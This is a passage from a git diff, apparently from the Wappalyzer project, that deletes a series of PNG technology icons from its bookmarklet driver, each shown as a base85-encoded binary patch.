zGl2+dKxv66PAXRf)_t9m?HqjX&qB|Q>!TtdijOvJy9*5n6&ldTH5twXSfQ*eyF*jY z7njqw+Kkd*cl$MT8nhBR^cu7(70~TXXD_e|+VnKKez&9tk{6W4lIl4!Km_YYk_OzP ztz=hyfVYKRj=c0XhE2zv)^BYm?(W9b1COsr9)u1ftOuIyTL$I144N$|G7XqQ4Tu;2 z{XznZToHKHY%-!gDtIvUe9*dXwZrATtbWb*|J)GB^P7yKg^`jd2@-~)LMTE49OTp+ zlEw3zBoN@LDH%rsf7Hb+a0K7awKcZWGyiYW?egn!NnkJ~2klM8IS+ zJ;MNLt4)ZLuHk(ABI(|3%6AVJ*DUvlfVgX+hEhO^B9)&<1@uKhh|qxj;OVbWgvPsU z%Pb~S&B={PHsy<5Am#ga8`q#U`4gw?a7Vy?-=a5Eu_aT+$3PJ})20Dmasg$~YW>p&s!@@zM|21s$kXP z3^t>h4|pA8317Z^R-{!`RwnAABSzGL()CFkP&C4@XuIj|gwd`S18+2Twb*B6HvAjiv{#%%7BID#5^< z5-IF=V$(bJhsj27v{a-U7z21Fq((CoDQ)~Qg=srW7vqwo9)ksU7%ad2NjB2?_QN3H i?jOd!V+Yd@G%zz*%subRxoro?NerH@elF{r5}E)R7)8YZ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Apache Hadoop.png b/Wappalyzer/drivers/bookmarklet/images/icons/Apache Hadoop.png deleted file mode 100755 index 54c465625bf566eb0c4aa8e43297a6cefb8d26c6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1505 zcmV<71s?i|P) zZETHa9LE2rr|;*q+M_-6O)2`qlwevb5Tp_&n^{CA2qqQ@79@%fWI|%;_N^n()8dh>FBSKfiYY|84W;DFBA!+O_^DDoSJc6+DoJq@tlA2{koc0L1dTn~LOhC+^=5 zL2Rt;uJ;{5$;r|X6eKqt4heW2um|-cRYE-|DEJoj^+S=85{ex=QqkP3@Lp6hz3qne z>oqN%367#7(9+^SQ&S-B+!4&1CmM;pF)>n;n=9C`!JJQi6*!*yee&cnIC}JF96!DZ zIXQCxOhkTu5(*2`=$Ym^mFi9<;>L~6c>dhY>yg;IHx!Q^1=GL)8ev00!2tOChhX+> z!Ja*Wn>Ph@bppFxe)R#nQgglgz6lAP_`n|kPBYYn$jnsOdQ;s;j-=q}Q_Jh7rmh4e z0O&+;N2&uBEeb|(uoFv`*cdIL5kdz9D^>{BtPwnWCQOy3?%m~%0<*KTJ8L)&P+^IQ zF|7&){-jnQE>6RGlKPk)euUcEly+WsqA^j%Ymdjtmjf;+foSd{_%a8!Z40CUb`xp^tJgkwW24~lW6KCN zK=(fQ-MfPHbW@1(#j<6|ERe2zX=%HG(idaK#B*I>ye=(u8?OP)wdM8W#{sNv8*Aa! za1FH@(BAXfT4DMGE|>h}E5gxEr;{&U0wCQxP?DLyE*Lq|AG>zB2#5v{!Dk$V2eJ6< z1~7fP1#A!3y{<3A75w0VwQ60E`;E^4f0wI+caCdo^`N>E6wmex$LiIg0Ky0l;WewZ zH01j7RjVwJ53bt1TX5`{wO6>$Yo7t-<$~~V@o*Rg|I_#p5l-(6Px2O7jLCIwuEHIJ z2NCW^xaDDGrC{#dw!*r1&kDQh@@3;4X3i9xJ!^G9b+zE?Rl&Y}g1|s&=Ka_gCXd4r z+U)TtJdVqMPF{c8kAM@MTL4F?cqa&37XNZHKv%FGmu7$MlWQE=sol~b(&U$JRK7Az1DR9;*x zNKLiiy?a}g{>p>nFd;J1ul~Y?D26o5cnyRQY-h;Dgj`o0EH4+C!hKV%qCzlkoPqs9 z6$}|-;8ooBdff+S^~sYFtvW^r54Q7V0mf?|T-!@~SXY&{+@(t|!ZiXXP6+1DH|e?c zUq7)~CSZ?=SlX z4U$$spy5_84<0lIl<5PbMztBG(w7UQ;^PGg31)xoZGO38_<~0o&is7A{`~^C`-Pk)GeV{f zHQzK$3oh(^{Pp&smQ$OkuV1=1jh^0Ty2|*Q87?1=|NHSbR52UvchOua00000NkvXX Hu0mjfh$_?_ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Apache JSPWiki.png b/Wappalyzer/drivers/bookmarklet/images/icons/Apache JSPWiki.png deleted file mode 100644 index a25eaab5cb9230251d60669aee6a40045420fa95..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 566 zcmV-60?GY}P)-y6ZfYe0RaBb@joM^P z2KWV)s8c2ukjm&vrt~@qhnp#+TL7UJ;rD%l?3NJ zN-2ynxg_zo$Hqrup!bgk9UVvV`TXur=Pz9ig8*u^8rB#DV68=KjkcD{7rRV0o7)3? z-qfJ-c`DJ_&j5ogW-Jpkf2Ac~^Hl}d%# z4>K60Fj_G%@Ps$7Um>OP+E}J0-;<_QqBv}g;*cl~*8y=HTO}p4A7@ZnQ!bYoE)4l+ zgHN5-8l^PTQ@;R02q}a>2(bJFl4`Ze%1TL0jE@A)S~vM_0;we4 zGv_^czv&A>pH=!?u~-a~w8o3)gJ`J`;D-xC)YUhN^4cm%ni?MjcenJQ?ZE!-)$-c) z&J(A2aIYUJr8nApr4&bxb@KSp{h+yJXAf}WuOhYX+uLoOz4ooV7FuhO%Ho~(4GoP( zWHMKPo7<{cBLDyZ07*qoM6N<$ Ef<^BMLjV8( diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Apache Tomcat.png b/Wappalyzer/drivers/bookmarklet/images/icons/Apache Tomcat.png deleted file mode 100644 index 2f099c3b688c646ed2ec656e4e01a13832fdc218..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1569 zcmV++2HyFJP) zXHZmE6vvmhy}_>RvIPx6L`7FY!3aSFB%l*8AP9)Dpduw0sY-D*7O)^HmM9t&89)>; znj!(m0-9K36hv$RW5YO!6EFi|*WEoi@3}gL&?aNPB;J|dyf^ROJ?DS#DR*hKH{;Ft z4-8i%59!~BwS$nAi2Lhu&K+(mNl@8J0N-m7mrnC0ue^^(>IM!l18-NW4_}u6NkoW! z&iYhOQUFOMpU1RDMlk4vC!H|y;&GWyY!;o|@li{e0HVVjKppFn@K2nXbn#6Q5i)Xb z(C3jpq>0o+Li&GjUJ9~VRUHh;)bdjULLg5Oi9 zIe4%Hju(c)oFLV5{4J|H=WHYp$whLIt;kj55jP|AURi5C!++Su8%HAm?xjQBkvXtQ zJpm5q214zTaL_cMn8wARzqJT-Hb zciPQ_?5SNDCkBxi10WXMq6lS^?_9yC-%KxKXiw4gIh zLo%Exok0OjDO7G`r+J=78&2H`$mz+kDW9+w@`!avOH_aWnm+FjRhy-Tj0HBDYgLgt zGREf)&V;lWXDHm@3kB0oE;cCrf!;Z{3az!$QPk@LS9k>EUK@6OA9kou1pRFziY-*Ie6g3AIJazfo7D zFzif~YBJ)-cC^x?4_W9x= z6cT#Sf?y$h_nBNjKR|eYm^JgEi;4}7L)p5~Ls;4|cC1H9(@mQ;#`Sx6Xr1)e>K*b9 z6i0@K67WJ0DWbMeq2H1u247chHJ5GT*sFH|k8qgc!D~63Wznu0$gIRqKE^xzj`1F7 zHRcC-S2!c{#X@?n-#Fg)8PTE#Uu9dgq9DWhJ&Kn}TCqt6t7F6v=EEoLse1A+cCuq% z_%ho}Y<{OT4#-kZM^4S!SaEY@j;#ILU2>=|Q3Bee%GYNs z_Yjt!O_%krl+affuaH8xub{b`E+s+Ak;ljZWECRoW;5?fL_{v;%k=}9(pFN)?Q%;f zTP=kUFMa{eTm5Abj9_v}wkG{W$Qz9Ex6jEU96|TKRRY4Fmb+8xjV!<*= z%SBAwJ!%PrzQ-?~;K=cFR^W$Vv$G;GMx{)q-GN zh#+7*?+GS7_1|JP5<&jaz!;6E{d>cVLC_MhDlW$a2_Ium`NgI`vxfF&{O`w~vW3~0 T!{0KI00000NkvXXu0mjfmNMY* diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Apache Traffic Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Apache Traffic Server.png deleted file mode 100644 index b1a453fc7cac4bf8709efc1b8d8ff610142b09fe..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 747 zcmVaH6;QslaOZ4gS`Ly`nr7%3-$ePV{4fQ2|O|3WAci!{xDay7W3Es zf6nm##~Fqn|DQ1b&rOs|1&Mol*q`w8bAJnTt&Y5cjD;XHc0dLkm6ewXK{B8Q)c{$r z0lIqXA%4E@?*sfj{yR8Wol;U!Foq-^5rHFe3Nn5$1C*3RM0U^P+WqGe^ZykS!CnBz zj*6O+mWHO9mbQ*Yq`#m0|DYhBGtht(-vV^bJfJJ=B&5VRKw>=X0!%8>f~?#ekdOxk z7;9Ll{~b41yXRI`CfkAnz5YA9*v|qR089s(ipmN*t!yloN=i#GgTy2<40@Sb4Nj=1 znAeI42{S{~Nov{HSj-3t^1Wnaq*p2`A;OCirToH>lqL|aR>ZK`{6E7=AP_C4FQd;j%i<}+TJ!&`O}d8!B?NgP@&qyy)DW;DF+~Y!emhxr d0TKM!82~0JrTRJ*8sPu{002ovPDHLkV1fmsQgZ+R diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Apache Wicket.png b/Wappalyzer/drivers/bookmarklet/images/icons/Apache Wicket.png deleted file mode 100644 index e3081a6679c68f45b8637514e5db1878c914a491..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1684 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AppNexus.png b/Wappalyzer/drivers/bookmarklet/images/icons/AppNexus.png deleted file mode 100644 index e98809888d2c2c137339ae0c2279d0e1738de913..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1691 zcmV;M24wk(P)6;36rX>f@BNnB!c3=~z0-E+u!qekVj*3aZWJvb2t);2Pzr5n8)PqqwrtS{5{;5b z@WH4k77#S>BrdEm#<<`D7>qE(^d6|^e0Od;ZD%PVJe)MWbMCpn@0{QHo%30mn>Mnl zQ0P=3-+i~p;|NdiIET#Z3KzLuVUNS9%X3cDmcil095gNehdJB0lI1wvGkxr!gnnkA}O=LpmCm2GRY4c_|I=LnB*3qajEBKBZyj|V)u8m(Ey6v&hWv-Ox5e= zE~aWuX@~uM5cPjuCcC9xKSRQuJuEGVZ(A5(=YZr=w`vkpCiPcw&0Lz%Eod$OOJS zw?M#d?4~Uh9DMd{1Atu$pgt!jsXhj^B8ni0v@4$y z;J0g35*Ugt^l=(ypb$&YvVg&nr5sPq;q~VP)MC1baHb>u_2b9sS+)wG!O@qD7EKGH z$0*5JOnFDSfJM^;%+43;Ft+S$U6JtQ+Dug&5*bSEA3M0J*Rj2Oxj|-e1n(Ph2K$?qq}dKh|1aMhTzh z9U>-~h>2L;bYm;}WvdaJ6qPbV?S6J$41gDRIImT}oP3F=k#GQ4u=5)j+#}|XfmBrU z_g1LEqd<6V5(0Tc+Cf%?qO%M+vLnRdT`bW@FALa<6IMwvEs(UsnG!58jih)D&kFcy z3m=?dsYHf0pXw^BL?x8D3Cq zydYxroahp8v4u*K8U$@Uq;BS^X@B^)%TUyd%^ddDa;Tat!8Kk&W~LbQQ?r1inCe7z zq2=RR2UDX{3Jpkl$7=#Ewep0k)kv|bpP?qE{!AfmPTSeAo#H;mCIuvA{jtNCJ$`$F zE}#$fqjPVa0LM5@&2t(=zim&)35F}X%7P-`H=9J#l0Cq~o?Dlq4XMwg_WE1}A_ z2{^KZsr}HjzBoILOGZ}>-K5kS2XDW?6>s|D{K=@~p+LsNP-*D}OY^2?d-cMFXD0hy z;bM<98uZ$tL60q3?6wYCfx{ZLTW!%iw169b^9)(gH1(b}TIjS!^K3TdU*wFBLq0j` lok@OYI8;`8zNu-W|9_^utNbX}Qt|)*002ovPDHLkV1k2qCOrTE diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Arc Forum.png b/Wappalyzer/drivers/bookmarklet/images/icons/Arc Forum.png deleted file mode 100644 index c01f4e466af4dc06132c4001cea5bf0b5a567778..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 384 zcmV-`0e}99P)h@-^2aA%S*khLblevetp%cIc5H(jp6pT z&d(1{P68Jf&dwYjT2~|uoj5qKZI2^b?;bs}ZGbtU3IOzN`*U^mzG@}LSgx;sXMW&_ z>OBwv0D9)#&CN$(x7%et%=wNZiU0thLkvI+9tZ$MQJ_G_QY+9Zu+0_B+}cuFS_;`} zhj`AHG45%s9P+m68+a`~xBinsvgghEuVXN1U`KA7Dr^xwa$zA@P}PwnNRk3TX+=>K zYz+Va0001>0RYeeIsgE4Bngsa0!)%5NfPv64;sbf)3V%yJ(H&d$(|q@&nST6NyGv+ e?y3SH_{D!k(UV_&QMph60000ndXa1LP{D*tdf|8hM4c}4$u zM*n+A|AkfmjbQ(gXaAdZ|C@IIq=Emik^i-s|G%gI!m9tmtN+x*|Jca?;@AJ<*ZHqus|NsBN{ru_x004bSL_t(|+I7y?4#F@HL{SrBs=0xsw~!?i|Nj>v zmw<#|o>oUA?HK=+2)dH-LndXa1LP{D*tdf|8hM4c}4$u zM*n+A|AkfmjbQ(gXaAdZ|C@IIq=Emik^i-s|G%gI!m9tmtN+x*|Jca?;@AJ<*ZHqus|NsBN{ru_x004bSL_t(|+I7y?4#F@HL{SrBs=0xsw~!?i|Nj>v zmw<#|o>oUA?HK=+2)dH-L~?p5G|Q%*b)XVd}a| zS0w%Z+~_|f+r;c|vHl2SFvAb0Y4!$Jv-G{BPqMEG%ssf0S?V)ebb?+$*5<-1NT-G@yGywqT;Vjbt diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Bitbucket.png b/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Bitbucket.png deleted file mode 100644 index 675cc8dd08ceb48c36523ed1a4b5dd5ce91bbb92..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 692 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE3?yBabR7dyX99deTtR{Xjl%=|-OIQX=pW~j zAirP+W;RZKAqiLh*UbB9{oUh^oi!ps?R-%}VTHa(fgzSdE9&oSTq_06v* zL^03uearr{f#=hYrD@Km+e3C~7zepc_nL8ho_}i79RFXIJ}Z8Bd|AnQ(SJo;dvR>Kddpt95C94?U8ol6MVm?>bi}J2sujR9ponflD;<6yW){2!3 z6&ep;Ox$ceXUFW1g6`oef5UjIw@&l_#MNdxwO5AkY1=8OWro4W47Sd^)OIqpt6R7! vo#osWH4~pK5AAFA?L}sj51+3RWdHy3>%>-x$?Ar{=wk46^>bP0l+XkKv_}w| diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Confluence.png b/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Confluence.png deleted file mode 100644 index 336a91d4a64b0e40ea4e41c6ccbe3309bcc35251..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1137 zcmV-%1djWOP)db+HJPoM3fled{@VZOX;ml4PgoC^4D%JwiAr~T)!$bTZ~S~bTcyx)fs$AI)| z`gJ-;xmNb@SQp#}nayQcum`6G8TX1+AVtWS$2$L~oJV~Psg`T{x8{TNqMIk`RJsPI zCUNJgd~^*U%x#tbzM^}J08AZ+PxUcAhk~oD=9x!WfSA{z;4)C`985l|ehn|DW!@WX zX34l$`U$tj5~GT)+k)A z=eI3->5wp66r_&ZvnCBL?paj?64MKuB*be|bRU;~Wv|vGq7o3lP4RhLhVWUJo&m)% zNFASNO(mySRVysTOS)7a$E8omzU&UsISOAeg0Q4>%^qaKKx{#~^5wYHGnr)lheaRJ zK-sIM2A6^0L_x5S=YuUvI-J>zJfV|)4X^-J~iS_HG9Y|Ize&GYh7{% zp9T0Zhk5=bSb8BFfKoQF_`E`@<)GXE%P|xKkU^w4LeQ?{rB~WKEvnXJAOk@L6SADo zrsSnt${a14RM*5f!Z5Tyo~CUEkCeGuyf(!+9l>c?@CKA_sBSTrL%9*ReMu-d-&<81 zu$pCm!sQ5H{lA{7mZvT|%*kw%{|IC_n@vG7xU>xJapJJZ{e!*a%lNP6(;7q-%X@a5 z=VEoQ?1EchmieDQsyzfGr|Q$3gRA-mwSbho>w^Mw7V45@VbbD5Ts&bdAsh~+vsi8O zZ!lo7fY~hLGfQ~4KBN&-u?AnFWCZFLuq%8c>`=ByJD?*5XN4q~(4)xeTs(u>BKs>b zd7a(9umx67;cES0!@%<7jj~T;JxU45<5gY4Y@YQCLxWBJZw6y5L2R1&AJiy;=~wWq zuOX+TbV{12#lY!XTLw=&7TF&;?MoN%_|?V97A@8Q8O~x?@EyY!PR09?Ll4wm_@)ln$6pvJej8b|^jp&R(8XOVADFNt$VlHTZn0UC`BXTjjN4tr0DX z8j#hwr_5CVHSJ*8m4U;v%80=%`vXXT#j$9UKunhsN&%ES(}*E@iUSM_q|LU#mWV+H z8-%u%pkt6YEShB9YOC1Ha^VG-sAJ_Kux81$2?|_}MH`^`{2!-%;VRC+rjYXWC)g=1 zN3;T3orLVm=Of2IsJSQMR9}ywSSewmE~{JF1ZKUF=LFhQSB`0lX>Y4EoN+00000NkvXXu0mjf D>!=(` diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian FishEye.png b/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian FishEye.png deleted file mode 100644 index fb5e320999058d2735bd70762431677702aea7ba..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 766 zcmV5p;bzW6*hBQmeaYO0~|QKoOA9yHh=IO&b?fC|L2}_x#!f)dZ2UG zbvBO*Q5X4>!qro2i`mR7mQf+u7$XeQ$M;mNmTzDcuh2q~4)QvKWL6@pCiZZE7K-)+ z2iQYX(E*lol#Tq~Hgc5ZwGOb7Ar>%GEntY&Y8Tc|Caq4IlLNd&IkEV9c5%H;@iH%F3{j>l9-u-yQPVuf z05j1pUL~z|8cH^8%qD6#z073Y93*TuZKcF-bChk&bW?2Q8euC-Hp_^5oAca=zGW|A z_mmPpz4r*K@Gi&M&ug?$rf5Bc-5LEGUbgcCO9|_vov>echqsuZmg*U0E^(73n+ZN6 zY(5)EYa!kI#52^=RlX+KbbJcB2wO`%c{T9?z1&Q-ek9pw$>uMn2wOp|ZDEiKd0imc zIRj+YOxyt5`I4+2Wgj;cxCI=^8(<+({XESMR&a!@T6u%4=8yVOB(JU9 zPFhQd`IZI6TDAa|Iou?wsSdS@egU^51!=Hq7SECOtOaa woM4#G87Hs1*~~tk=l9Hq(;L`)ej~I008`+fBVRPJF#rGn07*qoM6N<$f@Tb4?*IS* diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Jira Issue Collector.png b/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Jira Issue Collector.png deleted file mode 100644 index 4c3963d7591037fc114bc17b63847da118ba7735..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 809 zcmV+^1J?YBP) zZ)lBC9LFCUMr;~uuAv)~!n)!>WGShrfbw#Zbk>AYOL+@#sTv{GDmRr0SfoMKqGoOs zUO}M75E;O|zQ6PQ?!9NHbMEeQpJz{f>UREq&pE$;*YisGge(Uez#Y&D7J(67_-{=>FPP1JRp1bK2yTJKFaq>b zz5oesp8&3apWp{L0V=p}1sKrgomJyY6wt3N^a?D|`lf^JV5>THzI`?LrOmqtYDyJw zkWZ5aZJ@GBvhy zvq7eLz3ZU1kbtq^k|rR_vq7#TWS?bBn+iaAPv|%L|AAwLZ_|%_dyF8H<$$)qK3*`} z_W^8F1}Ef1kTm+Ux4Eg9x1%?IY7y`btmQGapo`n-dfRg@D&!9E%`*QH7+0+89ns!R zryJDsI5My&Y+Nxu{X+27GLP(FO%Mx?J8prv0P1){p^VS}-N@lOV|n{i!Ly~1%h&_V z1=DQdb;h&xIBxB3E>V@>%hHJJ`l*s^a1=Z4J8p|SVO^LAMvEVHc*P%Z4m@yd{srs` zU#R#7*6!HE1sUS*(vy%qxg?9+oa%%9x%wc&ghHiRhvPYPcOw@b?+wc*c*TUNIx;&Bt&qe+!zlDA?<;gTrc0gaVqi z)4m7mIdiUZ1S(2gbE4Y38oV?%=u?Tu?{9HD#qp>FG#Pb%hW`)j)&2!_IwD~#iU4%d zl4Pg=nXir8%;lFUqB*Pps_}1H7QSpr-`$pR9bpB`JpN#~wnDBO00000NkvXXu0mjfch`c> diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Jira.png b/Wappalyzer/drivers/bookmarklet/images/icons/Atlassian Jira.png deleted file mode 100644 index 4c3963d7591037fc114bc17b63847da118ba7735..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 809 zcmV+^1J?YBP) zZ)lBC9LFCUMr;~uuAv)~!n)!>WGShrfbw#Zbk>AYOL+@#sTv{GDmRr0SfoMKqGoOs zUO}M75E;O|zQ6PQ?!9NHbMEeQpJz{f>UREq&pE$;*YisGge(Uez#Y&D7J(67_-{=>FPP1JRp1bK2yTJKFaq>b zz5oesp8&3apWp{L0V=p}1sKrgomJyY6wt3N^a?D|`lf^JV5>THzI`?LrOmqtYDyJw zkWZ5aZJ@GBvhy zvq7eLz3ZU1kbtq^k|rR_vq7#TWS?bBn+iaAPv|%L|AAwLZ_|%_dyF8H<$$)qK3*`} z_W^8F1}Ef1kTm+Ux4Eg9x1%?IY7y`btmQGapo`n-dfRg@D&!9E%`*QH7+0+89ns!R zryJDsI5My&Y+Nxu{X+27GLP(FO%Mx?J8prv0P1){p^VS}-N@lOV|n{i!Ly~1%h&_V z1=DQdb;h&xIBxB3E>V@>%hHJJ`l*s^a1=Z4J8p|SVO^LAMvEVHc*P%Z4m@yd{srs` zU#R#7*6!HE1sUS*(vy%qxg?9+oa%%9x%wc&ghHiRhvPYPcOw@b?+wc*c*TUNIx;&Bt&qe+!zlDA?<;gTrc0gaVqi z)4m7mIdiUZ1S(2gbE4Y38oV?%=u?Tu?{9HD#qp>FG#Pb%hW`)j)&2!_IwD~#iU4%d zl4Pg=nXir8%;lFUqB*Pps_}1H7QSpr-`$pR9bpB`JpN#~wnDBO00000NkvXXu0mjfch`c> diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Avangate.png b/Wappalyzer/drivers/bookmarklet/images/icons/Avangate.png deleted file mode 100644 index 55f496a40638a57e07f852130e2ac1a86a371b26..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 858 zcmV-g1Eu_lP)cyjY5d}oZ z#fyN5Cy_+)B#11cabG5r*`4Wm>F(8Gjc>c)wO9-EET zIVklmw0Z?Vf$5-+gHi*ZU1YtRV#^;j@Vg!E^;ZDF2wQ8QbDhCo%Lmn0?RUZz*b*7D%|84jFG{rxgLqgv2NdX8ZCj=aP2(!Y|tM4#LUc)$} zLEu?~@GJ8OoB;S6GhzQ|mi9fAH2F5T+E{V8UVbzy}C`u0A z;G)2+nJqwZp>dUI`U%325Se`YK@JZ0V@%js#(ebleamI+j^yFdhoimjI-LPX>r(zix=K#n)8n_Nq(j_Lx}JJwxb9{%YNq)!e9eh2lXd& zzuEpB%boPpl8TaF8ATUxT#BM6S$E@1r}=}DPHSJfy^mn6;5djt^5UDS)4TystpW~Z z{)G&NpGsK@NX!HY*a|WjeDB)r_kC{$j~Lm7P8ct}j`{g(KI;q&rl#`6WqC)k-p7*X zpRJUgTNok6+y+#&uoSbBb%fyy>ddJppiKw}4iOMB1bO#7ArJv!kC<*Jt@dA%Wj8n% k{UX`z_E}UGCr*s{4~*T1HVANnMfcR8zzdEHY6b0=nysfauB<(jO271sR{ z2M`49AM7vi)huj%QcWb)1r$X9wN(UFlwG0#R2Q^V<_DANE^dCFT?(TD&l>`=?HnwpyYd45z;#>d86T5juBe!87) zFksk6fcExBo!u`wyIy5vcu1L?{2m#daqKK(u(Hwu>`?`&s3@P?=qoBJ@_K!wB$LTB z4y0LG#_z2v%Wj^To@Jk*aQKkZ5cxW`zOhb)JwXYgS(@v23rpk-9)ZSJ&(9 zL_!cnfk5E!z`)?j%4%k2W_5K{d1c9LtaoH7gmLA0#8c=ym+z?+u>e#-;=1N{Y8)%a zO|C6QN9Q&_{M;H=6p&{TBmAQPDhPn0f*_!%sHngn2zlr7w{Z_;00000NkvXXu0mjf D1#=O? diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Backbone.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/Backbone.js.png deleted file mode 100644 index 0ffdb441eeb7061348c2409cf17595993e1f0db0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1525 zcmV zYitx%6vvmD*~dJT6imyOotdQpT4}rN%x*1W8VE(efB>m2WuK)jErM!IM1(~6!UwG} z(F6>Z1VhVgXScMryaa_$0wJ21AW=a-pn@S{=m!%3jqUZ^JKaZF3cDk0a?{Sv&Ya&l z=YP(**J4S2iadq1r0R^zTV;7nA2zDjIf7c3r9MGt-<2v07}5mWLEfT-6Q$@d!EVaytSV)cQkd_?c$!|}U9 z%Mm0r4@-3uhMV_`Nu|d6^kHoJEt;Z1jMSLiRg!P{x 